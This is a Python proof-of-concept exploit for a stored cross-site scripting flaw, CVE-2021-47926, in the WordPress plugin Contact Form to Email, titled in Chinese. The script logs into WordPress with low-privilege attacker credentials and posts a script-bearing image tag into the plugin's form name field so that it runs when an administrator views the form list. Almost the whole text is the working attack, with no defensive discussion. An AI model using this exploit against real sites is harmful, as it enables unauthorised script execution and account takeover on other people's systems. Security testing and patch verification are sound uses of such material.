CVE-2021-47926 Contact Form to Email存储型XSS漏洞

import requests # Target configuration target_url = "http://example.com/wp-admin/admin.php?page=cp_contact_form_to_email" login_url = "http://example.com/wp-login.php" # Attacker credentials (low privilege) username = "attacker" password = "password" # Start a session to maintain cookies session = requests.Session() # Step 1: Authenticate to WordPress login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": target_url } session.post(login_url, data=login_data) # Step 2: Prepare the XSS payload # Injecting script into the vulnerable form name field xss_payload = "<img src=x onerror=alert('XSS-CVE-2021-47926')>" # Step 3: Send exploit request data = { "cp_contact_form_to_email_name": xss_payload, "cp_contact_form_to_email_subject": "Test", "cp_contact_form_to_email_emailto": "[email protected]", "cp_contact_form_to_email_submit": "Save" } response = session.post(target_url, data=data) if response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Check the admin form list page for execution.") else: print("[-] Failed to send payload.")